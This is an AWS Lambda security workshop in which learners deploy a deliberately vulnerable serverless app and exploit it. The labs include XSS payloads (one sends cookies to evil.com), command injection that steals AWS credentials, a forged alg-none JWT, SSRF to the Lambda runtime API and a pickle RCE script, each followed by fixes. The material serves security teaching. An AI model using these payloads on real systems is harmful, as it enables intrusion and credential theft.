Welcome
AWS Lambda Security Workshop
by Anjali & Divyanshu (theshukladuo) at Peachycloud Security
https://lambdasecurity.peachycloudsecurity.com
Hands-on primer on AWS Lambda and API Gateway security for security engineers, developers, and cloud practitioners who want to understand how serverless applications get attacked. No prior serverless experience required. We deploy a deliberately vulnerable app, then exploit every OWASP Serverless Top 10 vulnerability live.
Syllabus
- Welcome
- Lab: Setup GitHub Codespace
- Serverless Basics
- Injection & XSS
- Theory: What is Injection?
- Lab: Cross-Site Scripting (XSS)
- Lab: Command Injection and Credential Theft
- Lab: Broken Authentication
- SSRF — Server-Side Request Forgery
- Lab: SSRF to Lambda Runtime
- Insecure Deserialization
- Lab: Pickle RCE
- Lab: Broken Access Control
- Lab: Security Misconfiguration
- Lab: Insecure Third-Party Components
- Lab: Insufficient Logging & Monitoring
- ReDoS — Denial of Service
- Lab: Regular Expression Denial of Service
- Thank you
Prerequisites
- GitHub account with Codespaces enabled.
- Browser that loads GitHub Codespaces normally.
- Familiarity with the Linux command line.
- AWS account with an IAM user that has programmatic access (access key and secret key).
⚠️ Important: steps that look like attacks are only for environments you are authorised to test. Do not use them on systems you do not own or lack written permission to assess.
About us
-
Anjali is a seasoned cloud security engineer, experienced in DevSecOps and Kubernetes security (EKS/GKE) as well as AWS, Azure, and GCP security. She is the founder of Container Security Village and Kubernetes Village, communities dedicated to enhancing cloud-native security. As the project lead for OWASP EKS Goat, she focuses on AWS EKS security research and hands-on exploitation paths. Anjali is a recognized AWS Community Builder and actively shares her research through her YouTube channel, @peachycloudsecurity. Her extensive speaking history includes Blackhat USA, Black Hat Spring USA, Black Hat Europe, Nullcon, Seasides Goa, BSides Bangalore, CSA Bangalore, and C0c0n. She has also contributed to the community by volunteering at Cloud Village at DEF CON and various BSides events globally. Reach out at peachycloudsecurity[dot]com
-
Divyanshu is a senior security engineer, experienced in Cloud Security, Kubernetes Security, DevSecops, Web Application Pentesting, and Threat Modelling. Reported multiple vulnerabilities to companies like Airbnb, Google, Microsoft, AWS, Apple, Amazon, Samsung, Zomato, Xiaomi, Alibaba, Opera, Protonmail, Mobikwik, etc, and received CVE-2019-8727 CVE-2019-16918, CVE-2019-12278, CVE-2019-14962 for reporting issues. Currently co-lead of OWASP EKS Goat, OWASP GKE Goat, Author of Burp-o-mation and a very-vulnerable-serverless application. Also part of AWS Community Builder for security and Defcon Cloud Village crew member 2020/2021/2022. Delivered talks at events like Blackhat USA, Europe, Seasides, C0c0n, Nullcon, Brucon, Bsides Bangalore and Bsides Ahmedabad. Also winner of “Cybersecurity samurai 2023” at Bsides Bangalore 2023 & “Cloud Security Champion’’ at CSA Bangalore 2023. Reach out at peachycloudsecurity[dot]com
Contact: Peachycloud Security
💝 Support the Project
Your support helps us maintain and improve this workshop, create more educational content, and continue building open-source security resources for the community.
Ways to Support:
- Subscribe on YouTube - youtube.com/@peachycloudsecurity
- Follow on Instagram - instagram.com/peachycloudsecurity
- Sponsor via GitHub - GitHub Sponsors
- Explore Learning Resources - Access additional tutorials, walkthroughs, and hands-on labs at peachycloudsecurity.com
- Connect & Learn - Connect with us via Topmate
Looking for personalized guidance? Get one-on-one mentorship, interview prep, or custom training sessions through our Topmate platform.
Disclaimer
-
The information, commands, and demonstrations presented in this lab including any course, are intended strictly for educational purposes. Under no circumstances should they be used to compromise or attack any system outside the boundaries of this educational session unless explicit permission has been granted.
- This course is provided by the instructors independently and is not endorsed by their employers or any other corporate entity. The content does not necessarily reflect the views or policies of any company or professional organization associated with the instructors.
-
Usage of Training Material: The training material is provided without warranties or guarantees. Participants are responsible for applying the techniques or methods discussed during the training. The trainers and their respective employers or affiliated companies are not liable for any misuse or misapplication of the information provided.
-
Liability: The trainers, their employers, and any affiliated companies are not responsible for any direct, indirect, incidental, or consequential damages arising from the use of the information provided in this course. No responsibility is assumed for any injury or damage to persons, property, or systems as a result of using or operating any methods, products, instructions, or ideas discussed during the training.
-
Intellectual Property: This course and all accompanying materials, including slides, worksheets, and documentation, are the intellectual property of the trainers. They are shared under the GPL-3.0 license, which requires that appropriate credit be given to the trainers whenever the materials are used, modified, or redistributed.
-
References: Some of the labs referenced in this workshop are based on open-source material. Additionally, modifications and fixes have been applied using AI tools such as Amazon Q, ChatGPT, and Gemini.
-
Educational Purpose: This lab is for educational purposes only. Do not attack or test any website or network without proper authorization. The trainers are not liable or responsible for any misuse.
-
Usage Rights: Individuals are permitted to use this course for instructional purposes, provided that no fees are charged to the students.
Lab: Setup and Deploy
In this lab you will fork the vulnerable application repository, open it in a GitHub Codespace, deploy it to your AWS account, and confirm it is running.
Everything runs inside the Codespace terminal. You will not install anything on your local machine.
Fork the repository
- Open peachycloudsecurity/very-vulnerable-serverless in your browser.
- Click Fork in the top-right corner and complete the fork flow. Wait until GitHub opens your fork.
⚠️ Disclaimer: Training sessions may point at a different branch or fork. Always use the repository URL your instructor gives you. This guide uses the public workshop repo above.
Open in Codespace
- Go to your fork of the repository.
- Click the green Code button, then open the Codespaces tab.
- Choose Create codespace on main.
- Wait for the environment to build. First start takes one to two minutes. When the editor loads, you have a VS Code environment in the browser with an integrated terminal.
Install tools
Run these in the Codespace integrated terminal.
Install OSLS (open-source Serverless Framework):
npm install -g osls
Install the AWS CLI (downloaded in /tmp so the installer never lands in the project folder, where it would get packaged into the Lambda):
cd /tmp
curl -s "https://awscli.amazonaws.com/awscli-exe-linux-$(uname -m).zip" -o awscliv2.zip
unzip -q awscliv2.zip
sudo ./aws/install
cd -
aws --version
Install project dependencies (serverless plugins):
npm install
Configure AWS credentials
You need an AWS IAM user with programmatic access. Run:
aws configure
Enter your values when prompted:
AWS Access Key ID: <your-access-key>
AWS Secret Access Key: <your-secret-key>
Default region name: us-east-1
Default output format: json
Verify the credentials work:
aws sts get-caller-identity
You should see your account ID and IAM user ARN.
Deploy the application
osls deploy
This takes about 90 seconds. When it finishes, you will see output like:
endpoints:
ANY - https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/dev
ANY - https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/dev/{proxy+}
Save the endpoint URL
Run this to extract the endpoint and save it so every terminal can use it:
ENDPOINT=$(osls info --verbose 2>/dev/null | grep "ANY -" | head -1 | awk '{print $NF}' | sed 's|/{proxy+}||')
echo "export ENDPOINT=\"$ENDPOINT\"" > ~/.lab-env
source ~/.lab-env
echo "Endpoint saved: $ENDPOINT"
You should see your full API Gateway URL printed. From now on, every lab command uses $ENDPOINT.
New terminal? Run
source ~/.lab-envto reload the variable.
Verify the deployment
curl -s "$ENDPOINT/"
You should see HTML output containing Very Vulnerable Serverless. If you see this, the application is live.
Open the URL in your browser to see the landing page.
Your working directory
You are already in the repository directory. All lab commands run from here. You will use cat to view source code and curl to hit endpoints.
pwd
# Should show: /workspaces/very-vulnerable-serverless
Troubleshooting
osls deployfails with credentials error: Runaws sts get-caller-identityto verify your AWS credentials are configured.- 502 Bad Gateway on first request: Lambda cold starts can take a few seconds. Wait 5 seconds and try again.
npm install -g oslspermission error: Runsudo npm install -g osls.osls deployfails withUnzipped size must be smaller than 262144000 bytes: The AWS CLI installer was unzipped inside the project folder. Runrm -rf aws awscliv2.zip .serverless, thenosls deployagain.- Codespace slow or stuck: Stop the Codespace from GitHub and start a new one.
$ENDPOINTis empty in a new terminal: Runsource ~/.lab-env.
Next step: What is Serverless?
What is Serverless?
Serverless means the cloud provider manages the servers. You write a function, upload it, and the provider runs it when a request arrives. You do not provision, patch, or scale any operating system.
AWS Lambda is the compute service. It runs your code in response to events. API Gateway is the front door. It receives HTTP requests from the internet and routes them to your Lambda function.
API Gateway
API Gateway is a managed service that sits between the internet and your Lambda functions. It handles:
- Routing — maps HTTP methods and paths to Lambda functions
- Throttling — default 10,000 requests/second per region
- Authorization — IAM, Cognito, or custom Lambda authorizers
- Stages — deploy to
dev,staging,prodwith separate URLs
Two types: REST API (full-featured, WAF support, request validation) and HTTP API (cheaper, faster, fewer features). This workshop uses REST API.
Each deployed endpoint gets a URL like: https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/
Security note: API Gateway does not validate request bodies by default. Input validation is your responsibility in the Lambda code — which is why injection attacks work.
How a Request Flows
flowchart TD
A[Browser / curl] -->|HTTPS request| B[API Gateway]
B -->|Invoke| C[AWS Lambda]
C -->|Execute| D[Your Python code]
D -->|Return| E[HTTP Response]
C -.->|IAM role| F[AWS Services<br/>S3, DynamoDB, etc.]
There is no EC2 instance, no Nginx, no Docker container in between. The Lambda function starts, runs, and shuts down automatically.
Lambda Internals
Firecracker microVM
Every Lambda function runs inside a Firecracker microVM — a lightweight virtual machine created by AWS. Firecracker boots in ~125ms and provides hardware-level isolation between functions. Each execution environment is a separate microVM with its own kernel, so one customer’s code cannot access another’s memory or filesystem.
This is why the Lambda sandbox user is sbx_user1051 — you will see this when you run id in the command injection lab.
Invocation
An invocation is one execution of your function. API Gateway receives a request → invokes Lambda → Lambda runs your code → returns the response. Each invocation is billed by duration (in 1ms increments) and memory allocated.
Cold Start vs Warm Start
| Cold start | Warm start | |
|---|---|---|
| When | First request, or after idle timeout (~5-15 min) | Subsequent requests while environment is alive |
| What happens | Download code → start microVM → init runtime → run handler | Run handler directly (environment already loaded) |
| Latency | 100ms–10s (depends on runtime, package size, VPC) | < 10ms overhead |
Cold start creates a new execution environment from scratch. Warm start reuses an existing one. The /tmp filesystem persists between warm invocations — which is why our pickle RCE lab can verify file creation with a separate request.
Security implication: Data in
/tmpand global variables survive between invocations. If one request writes sensitive data to/tmp, the next request (possibly from a different user) can read it.
Timeout and Limits
| Limit | Value |
|---|---|
| Max execution time | 15 minutes (our app uses default 6s) |
| Max memory | 10,240 MB |
| Max deployment package | 50 MB (zipped), 250 MB (unzipped) |
Max /tmp storage | 10 GB |
| Environment variable size | 4 KB total |
If a function hits the timeout, Lambda kills it and API Gateway returns 502 Bad Gateway. You will see this in the ReDoS lab — a single crafted string makes the function run until timeout.
Concurrency
Concurrency = number of invocations running at the same time. Each concurrent request gets its own execution environment (its own Firecracker microVM).
| Concurrency limit | Value |
|---|---|
| Default per region | 1,000 concurrent executions |
| Can request increase | Up to tens of thousands |
| Reserved concurrency | Guarantee capacity for a specific function |
| Provisioned concurrency | Pre-warm environments to avoid cold starts |
If 100 users hit your API at the same time, Lambda spins up 100 microVMs. If you hit the concurrency limit, additional requests are throttled (429 Too Many Requests).
Security implication: An attacker who triggers many concurrent invocations (e.g., via ReDoS) can exhaust your concurrency limit and deny service to legitimate users across ALL Lambda functions in the account.
Reference: AWS Lambda — How it works
What changes for security?
Traditional servers have a known attack surface: SSH, open ports, unpatched OS libraries. Serverless removes those, but introduces a different set of risks:
| Traditional server risk | Serverless equivalent |
|---|---|
| Unpatched OS | Vulnerable third-party packages in your deployment |
| Open SSH port | Overly permissive IAM role attached to the function |
| Secrets in config files on disk | Secrets in plaintext environment variables (visible in console, logs, and printenv) |
| Web app injection (SQLi, XSS) | Same injection flaws — the code still runs user input |
| Server-side request forgery | SSRF can reach the Lambda runtime API at 169.254.100.1:9001 |
| Denial of service (network flood) | ReDoS — a single crafted request can exhaust the function timeout |
The code vulnerabilities are the same. The infrastructure vulnerabilities are different.
OWASP Serverless Top 10
The OWASP Serverless Top 10 is a list of the most critical security risks in serverless applications. In this workshop we exploit all ten.
| # | Vulnerability | What we will do |
|---|---|---|
| SLS-1 | Injection | Inject JavaScript (XSS) and OS commands |
| SLS-2 | Broken Authentication | Forge an admin JWT with the None algorithm attack |
| SLS-3 | Sensitive Data Exposure / SSRF | Reach the Lambda runtime API via SSRF |
| SLS-4 | Insecure Deserialization | Execute arbitrary code via Python pickle |
| SLS-5 | Broken Access Control | Abuse an IAM role with s3:* on * |
| SLS-6 | Security Misconfiguration | Review secrets in environment variables and overpermissive IAM |
| SLS-7 | Cross-Site Scripting | Reflect unescaped input in the browser |
| SLS-8 | Insecure Third-Party Components | Identify outdated packages with known CVEs |
| SLS-9 | Insufficient Logging & Monitoring | Observe zero alarms and no tracing |
| SLS-10 | Event Injection / ReDoS | Crash a Lambda with a single regex payload |
Next step: Injection
Injection
Injection is the #1 web vulnerability. An attacker sends malicious input that the application executes as code or commands instead of treating it as plain data.
In serverless applications, injection targets Lambda functions through API Gateway inputs — query parameters, form fields, URL path segments, and HTTP headers. The Lambda function receives these inputs and, if it trusts them blindly, passes them into dangerous operations like HTML rendering, shell commands, or database queries.
What we cover
- Cross-Site Scripting (XSS) — client-side injection where malicious JavaScript runs in a victim’s browser.
- OS Command Injection — server-side injection where user input is passed directly to a system shell, giving the attacker full control of the Lambda execution environment.
Both vulnerabilities exist because the application never validates or sanitizes what the user sends.
Theory: What is Injection?
Injection happens when an application takes user input and treats it as executable code. Instead of reading the input as data, the application runs it — as HTML, as a shell command, as a database query.
The root cause is always the same: the application trusts user input without checking or escaping it.
Cross-Site Scripting (XSS)
XSS is injection into a web page. The attacker sends JavaScript inside a form field or URL parameter. The server reflects that input back into an HTML page without encoding it. The victim’s browser sees the JavaScript and runs it.
What an attacker can do with XSS:
- Steal session cookies and authentication tokens
- Redirect the user to a phishing page
- Modify the page content (defacement)
- Capture keystrokes and form data
Example: A search page displays “Results for: hacker” by inserting the search term directly into the HTML. If the search term is <script>document.location='https://evil.com/steal?c='+document.cookie</script>, the browser executes it and sends the victim’s cookies to the attacker.
OS Command Injection
Command injection happens when user input is passed into a system shell. The attacker sends shell commands instead of normal input, and the server executes them.
What an attacker can do with command injection:
- Read any file on the server (source code, configuration, secrets)
- Run system commands (
id,whoami,ls,cat) - In AWS Lambda specifically: dump environment variables that contain AWS credentials (access key, secret key, session token)
- Use those stolen credentials to access other AWS services (S3 buckets, DynamoDB tables, other Lambda functions)
Example: An endpoint that runs date lets the user pass a format string. If the code uses subprocess.Popen(user_input, shell=True), the attacker can send id; cat /etc/passwd and the shell runs both commands.
Real-World Impact
- XSS is one of the most common bug bounty findings. Programs pay $500 to $10,000+ per report depending on impact. It is used in targeted phishing, session hijacking, and account takeover attacks.
- Command injection gives full server access. In cloud environments, this means stealing IAM credentials and pivoting to other services. The Capital One breach (2019) involved credential theft from cloud metadata — one vulnerability led to 100 million records exposed.
How to Prevent Injection
- Never trust user input. Validate, sanitize, and escape everything that comes from outside your application.
- For XSS: Use a template engine with auto-escaping enabled. Never insert raw user input into HTML.
- For command injection: Never use
shell=Truein subprocess calls. Use parameterized commands with argument lists instead. - For SQL injection: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.
Lab: Cross-Site Scripting (XSS)
OWASP Serverless Top 10: SLS-1 (Injection), SLS-7 (XSS)
Objective
Inject HTML and JavaScript into the application and observe it appearing in the server response without any encoding or filtering.
Real-World Parallel
Bug bounty programs pay $500 to $10,000+ for reflected XSS in production applications. Attackers use XSS to steal session tokens, redirect users to phishing sites, and take over accounts.
Why This App is Vulnerable
The /welcome/<name> endpoint uses Python string formatting to insert user input directly into the response:
return "<html><body><h2>welcome %s</h2></body></html>" % name
There is no HTML encoding, no escaping, no Content-Security-Policy header. Whatever you send in the URL is returned as-is in the HTML response.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
1. Send a normal request
curl "$ENDPOINT/welcome/hacker"
Expected output:
<html><body><h2>welcome hacker</h2></body></html>
The app takes the name from the URL and puts it in the response. So far, nothing unusual.
2. Inject HTML tags
curl "$ENDPOINT/welcome/<b>hacker</b>"
Expected output:
<html><body><h2>welcome <b>hacker</b></h2></body></html>
The <b> tags are returned as raw HTML. If you opened this in a browser, “hacker” would appear bold. The server did not strip or encode the HTML — it returned it exactly as you sent it.
3. Inject a JavaScript payload
curl "$ENDPOINT/welcome/<img src=x onerror=alert(1)>"
Expected output:
<html><body><h2>welcome <img src=x onerror=alert(1)></h2></body></html>
The <img> tag with an onerror JavaScript handler is in the response. In a browser, this image fails to load (src=x does not exist), which triggers the onerror handler and runs alert(1).
4. Inject via the login form
The landing page has a form that submits to /login, which redirects to /welcome/<name>. The payload travels through the redirect:
curl -L -d "name=<img src=x onerror=alert(document.cookie)>" "$ENDPOINT/login"
Expected output:
<html><body><h2>welcome <img src=x onerror=alert(document.cookie)></h2></body></html>
An attacker could send a victim a link like https://<endpoint>/dev/login?name=<payload> and steal their cookies when they click it.
What Happened
The application reflected user input directly into the HTML response without encoding it. The server treated our input as trusted HTML instead of plain text. In a browser, the injected JavaScript executes with full access to the page — cookies, DOM, and any data the user can see.
Note: Payloads containing
</script>do not work in the URL path because the/character breaks the URL routing. Use self-closing tags like<img>that do not contain forward slashes.
Next step: Lab: Command Injection and Credential Theft
Lab: Command Injection and Credential Theft
OWASP Serverless Top 10: SLS-1 (Injection), SLS-5 (Broken Access Control), SLS-6 (Security Misconfiguration)
Objective
Execute arbitrary OS commands on the Lambda function, steal AWS credentials from the environment, and use them to access other AWS services.
Real-World Parallel
The Capital One breach (2019) involved credential theft from a cloud instance. One vulnerability — server-side request forgery combined with overpermissive IAM — led to 100 million customer records exposed. The same pattern applies here: one injection vulnerability plus a wide-open IAM role gives the attacker access to everything.
Why This App is Vulnerable
The /date endpoint passes user input directly to a shell:
cmd = request.args.get('exec')
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
shell=True tells Python to execute the string in a system shell. The application does not validate or restrict what commands can be run.
On top of that, the Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the AWS account.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
1. Confirm command execution
curl "$ENDPOINT/date?exec=id"
Expected output:
{"output":"uid=993(sbx_user1051) gid=990 groups=990\n"}
You are running commands as the Lambda sandbox user.
2. Explore the Lambda filesystem
curl "$ENDPOINT/date?exec=ls+-la"
You see the Lambda function’s files: app.py, requirements.txt, templates/, and the WSGI handler.
3. Read the application source code
curl "$ENDPOINT/date?exec=cat+app.py"
You can read the full source code, including the hardcoded Flask secret key: ThisisSuperFlagBySecurityDojo. This is SLS-2 (Broken Authentication) — secrets should never be hardcoded.
4. Steal AWS credentials
curl "$ENDPOINT/date?exec=printenv"
In the output, find these three values:
AWS_ACCESS_KEY_ID=ASIA...
AWS_SECRET_ACCESS_KEY=...
AWS_SESSION_TOKEN=IQoJb3...
You also see VARIABLE_1=supersecret99 — an application secret stored as a plaintext environment variable, visible to anyone with command execution.
5. Use the stolen credentials
In your Codespace terminal, export the credentials from step 4:
export AWS_ACCESS_KEY_ID=ASIA... # copy from step 4 output
export AWS_SECRET_ACCESS_KEY=... # copy from step 4 output
export AWS_SESSION_TOKEN=IQoJ... # copy from step 4 output
Verify you are now authenticated as the Lambda function’s IAM role:
aws sts get-caller-identity
Expected output:
{
"UserId": "AROA...:very-vulnerable-serverless-dev-app",
"Account": "523561755519",
"Arn": "arn:aws:sts::523561755519:assumed-role/very-vulnerable-serverless-dev-..."
}
6. Enumerate S3 buckets
aws s3 ls
The IAM role has s3:* on *. You can list every bucket in the account, read their contents, upload files, and delete objects.
7. Clean up stolen credentials
After the lab, unset the environment variables so they do not interfere with your own AWS CLI:
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
What Happened
shell=True with unsanitized user input gave us arbitrary command execution on the Lambda function. From there, AWS credentials were one printenv away — Lambda stores IAM credentials in environment variables by design. The overpermissive IAM role (s3:* on *) turned a single injection vulnerability into full access to every S3 bucket in the account.
This is how real cloud breaches chain together: injection → credential theft → lateral movement.
Next step: SSRF
SLS-2: Broken Authentication
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Theory: What is Broken Authentication?
Authentication answers “who are you?”. It breaks when the app lets an attacker skip, fake, or guess the proof of identity (weak passwords, missing token checks, forgeable tokens). Result: attacker acts as any user, including admin.
Example: A login token says role: user. If the server never checks the token is genuine, you edit it to role: admin and the server believes you.
Objective
Bypass JWT authentication by forging an admin token using the None algorithm attack.
JWT recap: A JSON Web Token has three base64-encoded parts separated by dots — Header (algorithm and type), Payload (claims like username and role), and Signature (verifies the token was not tampered with). Example: header.payload.signature.
The Vulnerable Code
The /verify endpoint decodes JWT tokens without checking the signature:
decoded = jwt.decode(token, options={"verify_signature": False}, algorithms=["HS256", "none"])
verify_signature: False means the server trusts whatever is in the token — it never checks if the signature is valid. An attacker can modify the payload and the server will accept it.
Steps
1. Generate a token
curl -s -X POST "$ENDPOINT/token" -d "username=hacker"
Expected output:
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0.cC0iIH48WNKLvfJDxUA9vOQ4fp_mlBOjUQnvQ9uIBVM"}
You are assigned role: user.
2. Try to generate an admin token
curl -s -X POST "$ENDPOINT/token" -d "username=admin"
Expected output:
{"error":"Admin token generation is restricted"}
The server blocks admin token generation. But we do not need the server to make one for us.
3. Decode your token
A JWT has three parts separated by dots: header, payload, signature. Decode the payload:
echo "eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0" | base64 -d
Output:
{"username":"hacker","role":"user"}
4. Forge an admin token (None algorithm attack)
Create a new header with alg: none and a payload with role: admin:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"username":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo "$FORGED"
The token ends with a dot and no signature — because alg: none means “no signature required.”
5. Verify the forged token
curl -s -X POST "$ENDPOINT/verify" -d "token=$FORGED"
Expected output:
{"claims":{"role":"admin","username":"admin"},"valid":true}
The server accepted your forged token. You are now admin.
What Happened
The server set verify_signature: False, which means it decodes the JWT payload without checking the signature. The None algorithm attack works because the server also accepts alg: none in the token header.
In a real application, this would let an attacker bypass authentication entirely — escalate privileges, access admin endpoints, impersonate any user.
Fix: Always verify JWT signatures. Never set verify_signature: False. Restrict accepted algorithms to a single expected value (algorithms=["HS256"]) and never include "none".
Next step: SSRF
SSRF — Server-Side Request Forgery
SSRF tricks the server into making HTTP requests to internal services the attacker cannot reach directly. The attacker controls the URL; the server fetches it.
In AWS Lambda, internal services include the Lambda Runtime API on localhost:9001 and cloud metadata endpoints. These are never exposed to the internet, but an SSRF vulnerability lets the attacker reach them through the Lambda function itself.
SSRF to cloud metadata is one of the most common cloud attack paths. The 2019 Capital One breach used SSRF against IMDSv1 metadata to steal IAM credentials and access over 100 million customer records.
OWASP Serverless Top 10: SLS-3 — Sensitive Data Exposure
Lab: SSRF to Lambda Runtime
Objective
Use SSRF to reach internal services inside the Lambda execution environment and leak sensitive data.
Why This Matters
Cloud services run internal APIs that are never exposed to the internet. AWS Lambda has a Runtime API on 169.254.100.1:9001 that manages invocations. If an attacker can make the Lambda fetch an arbitrary URL, they can reach these internal services and extract data that should never leave the function.
Real-world parallel: SSRF to the EC2 metadata service at 169.254.169.254 has been exploited in major breaches including Capital One (2019), where attackers used SSRF to steal IAM credentials and access S3 buckets containing 100+ million customer records.
The Vulnerable Code
The /redirect endpoint fetches whatever URL the caller passes:
@app.route('/redirect')
def web():
site = request.args.get('url')
response = urllib.request.urlopen(site) # no allowlist
output = json.dumps(response.read().decode('utf-8'))
return jsonify({"output": output}), 200
There is no validation on the url parameter. The server will fetch any address — external or internal.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Step 1 — Confirm SSRF with an external URL
Fetch a public service to prove the Lambda is making requests on your behalf:
curl "$ENDPOINT/redirect?url=https://httpbin.org/ip"
You will see the Lambda function’s public IP address in the response — not yours. The server made the request, not your browser.
Step 2 — Reach the Lambda Runtime API
The Lambda Runtime API runs on 169.254.100.1:9001 inside every Lambda function. It is meant for the Lambda runtime only. Hit it:
curl "$ENDPOINT/redirect?url=http://169.254.100.1:9001/2018-06-01/runtime/invocation/next"
This returns invocation context that should never leave the function — request IDs, deadlines, and internal routing information.
Step 3 — Understand the impact
From here, an attacker could:
- Read internal configuration and environment variables
- Chain with command injection to steal AWS credentials (we did this in the previous lab)
- Reach other internal services running on localhost or within the VPC
What Happened
The application trusts user input as a URL and fetches it without any validation. There is no allowlist of permitted domains or protocols. The server becomes a proxy that reaches internal services the attacker cannot access directly.
Fix: Validate URLs against an allowlist of permitted domains. Block private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16). Use a URL parser to check the resolved IP, not just the hostname (to prevent DNS rebinding).
- Next step: Insecure Deserialization
SLS-4: Insecure Deserialization
What is Serialization?
Serialization converts an object into a flat format (bytes, string) so it can be stored or sent over a network. Deserialization is the reverse — it rebuilds the object from that flat format.
Think of it like packing a suitcase. Serialization packs your belongings into a suitcase. Deserialization unpacks them. If someone hides a bomb in the suitcase and you open it without checking — it explodes.
flowchart LR
A[Python Object] -->|serialize| B[Bytes / String]
B -->|deserialize| C[Python Object]
B -->|attacker injects code| D[Malicious Object]
D -->|deserialize| E[Code Executes]
JSON is safe — it only carries data. Pickle is dangerous — it can execute arbitrary code during deserialization. Passing user input to pickle.loads() is the same as passing it to eval().
How to Spot It
Look for these in code:
| Language | Dangerous Function |
|---|---|
| Python | pickle.loads(), yaml.load() (without SafeLoader), marshal.loads() |
| Java | ObjectInputStream.readObject() |
| PHP | unserialize() |
Any endpoint that accepts serialized data from users is a target.
Lab: Pickle RCE
Objective
Achieve Remote Code Execution on the Lambda function by sending a malicious pickle payload.
Why This Matters
Python’s pickle.loads() executes arbitrary code during deserialization. If an application unpickles data from a user, the attacker controls what code runs on the server. This is not a bug in pickle — it is how pickle works. The bug is trusting user input.
Real-world examples: ML platforms that load untrusted .pkl model files, web applications that accept pickled session data, and data pipelines that deserialize messages from external sources.
The Vulnerable Code
The /deserial endpoint accepts a base64-encoded pickle payload and loads it directly:
@app.route('/deserial', methods=['POST'])
def deserial():
data = base64.urlsafe_b64decode(request.form['pickled'])
pickle.loads(data) # executes arbitrary code
return 'pickled successfully', 200
No validation, no sanitization. Whatever object the payload contains gets deserialized and its code runs.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
Step 1 — Create the exploit script
In your Codespace terminal, create a file called exploit.py:
cat > ~/exploit.py << 'EOF'
import pickle, base64
class RCE:
def __reduce__(self):
import os
return (os.system, ('touch /tmp/pwned',))
payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload)
EOF
The __reduce__ method tells pickle how to reconstruct the object. We made it call os.system('touch /tmp/pwned') — this creates a file on the Lambda filesystem to prove we have code execution.
Step 2 — Generate the payload
python3 ~/exploit.py
Copy the base64 string from the output.
Step 3 — Send the payload
curl -X POST "$ENDPOINT/deserial" \
-d "pickled=$(python3 exploit.py)"
Expected response: pickled successfully
The Lambda deserialized our object and ran os.system('touch /tmp/pwned').
Step 4 — Verify code execution
Use the command injection endpoint to check if our file was created:
curl "$ENDPOINT/date?exec=ls%20-la%20/tmp/pwned"
Expected output:
{"output":"-rw-rw-r-- 1 sbx_user1051 990 0 Oct 6 11:10 /tmp/pwned\n"}
The file exists. We achieved Remote Code Execution through deserialization.
Step 5 — Understand the full impact
touch /tmp/pwned is a harmless proof of concept. In a real attack, the payload could:
- Run
printenvto steal AWS credentials (just like the command injection lab) - Download and execute a reverse shell
- Read application source code and configuration
- Exfiltrate data to an attacker-controlled server
Any command that works in the command injection lab works here too — the difference is the entry point.
What Happened
pickle.loads() on untrusted input is equivalent to eval(). The __reduce__ method lets an attacker define arbitrary code that runs automatically when the object is deserialized.
Fix: Never use pickle.loads() on data from users or external sources. Use safe serialization formats like JSON. If you must deserialize structured data, use schema-validated formats (JSON Schema, Pydantic, marshmallow). For ML models, use ONNX or SafeTensors instead of pickle.
- Next step: ReDoS — Regular Expression Denial of Service
SLS-5: Broken Access Control
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless
Theory: What is Broken Access Control?
Access control answers “what are you allowed to do?”. It breaks when a user or service has more permissions than it needs. In AWS this is the IAM role attached to the Lambda: if it is too broad, anyone who steals its credentials gets all that power.
Example: A function that only reads one DynamoDB table but has s3:* on everything. A hacker who takes over the function can now delete every S3 bucket.
Objective
Check the Lambda’s IAM role and see how much more access it has than it needs.
The Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the account. The function itself never uses S3.
In the command injection lab, we stole AWS credentials with printenv. Those credentials carry this overpermissive role, giving the attacker access to all S3 buckets — including buckets belonging to other applications in the same account.
Check the IAM configuration:
grep -A4 'statements:' serverless.yml
Output:
statements:
- Effect: Allow
Action:
- s3:*
Resource: "*"
Impact: A single injection vulnerability chains into full S3 access across the account. The function does not need S3 at all, but the role allows read, write, and delete on every bucket.
Fix: Follow the principle of least privilege. Grant only the specific actions on the specific resources the function needs. If the function does not use S3, remove the IAM statement entirely.
Next step: Security Misconfiguration
SLS-6: Security Misconfiguration
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless
Theory: What is Security Misconfiguration?
The code may be fine, but the settings are unsafe: secrets written in code, default or open permissions, debug left on. It is the easiest bug to find because the attacker just reads the repo or config.
Example: A password written in app.py and pushed to public GitHub. Anyone can copy it.
Objective
Hunt for hardcoded secrets, plaintext environment variables, and an over-broad IAM role in the project files.
Hardcoded Secrets in Source Code
Find the hardcoded secret in the application source code:
grep secret_key app.py
Output:
app.secret_key = 'ThisisSuperFlagBySecurityDojo'
Impact: The Flask secret key is hardcoded in a public repository. Anyone who reads the repo can forge session cookies, impersonate users, and bypass authentication entirely.
Plaintext Secrets in Environment Variables
Check for plaintext secrets in the deployment config:
grep -A1 'environment:' serverless.yml
Output:
environment:
VARIABLE_1: supersecret99
